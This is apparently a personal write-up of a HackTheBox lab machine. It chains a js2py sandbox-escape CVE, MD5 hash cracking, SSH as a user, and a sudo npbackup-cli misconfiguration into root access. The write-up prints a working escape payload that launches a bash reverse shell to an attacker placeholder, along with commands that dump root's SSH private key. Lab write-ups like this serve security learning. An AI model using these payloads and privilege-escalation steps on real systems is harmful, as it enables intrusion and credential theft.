~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / codeparttwo.md

codeparttwo

Linux · Easy · released 2025-08-16 · retired 2026-01-31

Summary

Personally rooted 2026-04-28.

CVE-2024-28397 (js2py sandbox escape) → SQLite MD5 hash crack → SSH as marco → npbackup-cli sudo privesc (user-writable config, –dump to recover root’s SSH key).

CodePartTwo runs a Flask “JavaScript sandbox” that delegates execution to js2py 0.74, vulnerable to CVE-2024-28397: the supposed sandbox can be bypassed via Object.getOwnPropertyNames on a Python object, which exposes __getattribute__, which in turn walks object.__subclasses__() to reach subprocess.Popen. From there, RCE as app. MD5’d password hashes in the SQLite users table crack trivially; one of them is marco’s SSH password. marco has sudo on npbackup-cli whose config file (in marco’s home) defines what to back up — point it at /root/, run as root, dump /root/.ssh/id_rsa, SSH in.

The chain:

  1. Web app at :8000 is a JS sandbox; source download reveals js2py 0.74 + disable_pyimport() (insufficient).
  2. CVE-2024-28397: bypass via Object.getOwnPropertyNames__getattribute____subclasses__Popen. RCE as app.
  3. SQLite at app/instance/users.db — MD5 hashes; marco cracks via CrackStation.
  4. SSH as marco. sudo -l: NOPASSWD on /usr/local/bin/npbackup-cli.
  5. Edit ~/npbackup.conf to add /root/ to backup paths; sudo npbackup-cli backup; npbackup-cli --dump /root/.ssh/id_rsa recovers root’s key; SSH as root.

Recon

22/tcp     OpenSSH
8000/tcp   Python — Flask "code" sandbox

/static/source.zip (or similar) ships the Flask app’s source. Reading it confirms js2py 0.74 + a SQLite users DB with MD5 hashes.

Foothold — CVE-2024-28397 (js2py sandbox escape)

js2py’s disable_pyimport() blocks the pyimport namespace but doesn’t lock down access to Python objects that have already crossed into the JS evaluator. The standard escape:

const proto = Object.getOwnPropertyNames({}).constructor;
const getattr = ({}).__getattribute__;
const obj = getattr(getattr, '__class__').__base__;
const subs = obj.__subclasses__();
const Popen = subs.filter(c => c.__name__ === 'Popen')[0];
const out = Popen(['bash','-c','bash -i >& /dev/tcp/<C2>/<p> 0>&1']);

(The original advisory: GitHub Security Advisory GHSA-83w7-mw88-jq6h; PoC by Marco Bonelli.)

Reverse shell as app.

User pivot — SQLite + CrackStation

$ sqlite3 ~/app/instance/users.db .dump
... INSERT INTO users(username,password) VALUES('marco','<md5-hash>'); ...

CrackStation resolves the MD5. SSH: ssh marco@<TARGET>.

Root — npbackup-cli config write + dump

$ sudo -l
(root) NOPASSWD: /usr/local/bin/npbackup-cli

$ cat ~/npbackup.conf
backup_paths:
  - /home/marco
repo_uri: file:///opt/backups/marco
... (encryption_password set)

Edit:

backup_paths:
  - /home/marco
  - /root            # add this
$ sudo npbackup-cli backup -c ~/npbackup.conf
$ sudo npbackup-cli --dump --include /root/.ssh/id_rsa -c ~/npbackup.conf
# id_rsa printed to stdout

ssh -i id_rsa root@<TARGET> → root.

Why each step worked

Counterfactuals

Source attribution

Reconstruction is grounded in:

Personally rooted 2026-04-28. Key deviation from writeup: outbound TCP from target to attacker was filtered, so reverse shell via /dev/tcp didn’t land. Work-around: write Popen output to the Flask app’s web-accessible static dir (/home/app/app/static/) and retrieve via HTTP.

Notable: /run_code has no auth check so the CVE can be triggered without an account. The js2py JsArray is accepted by subprocess.Popen as its args argument directly.

← all htb machines hackthebox.com ↗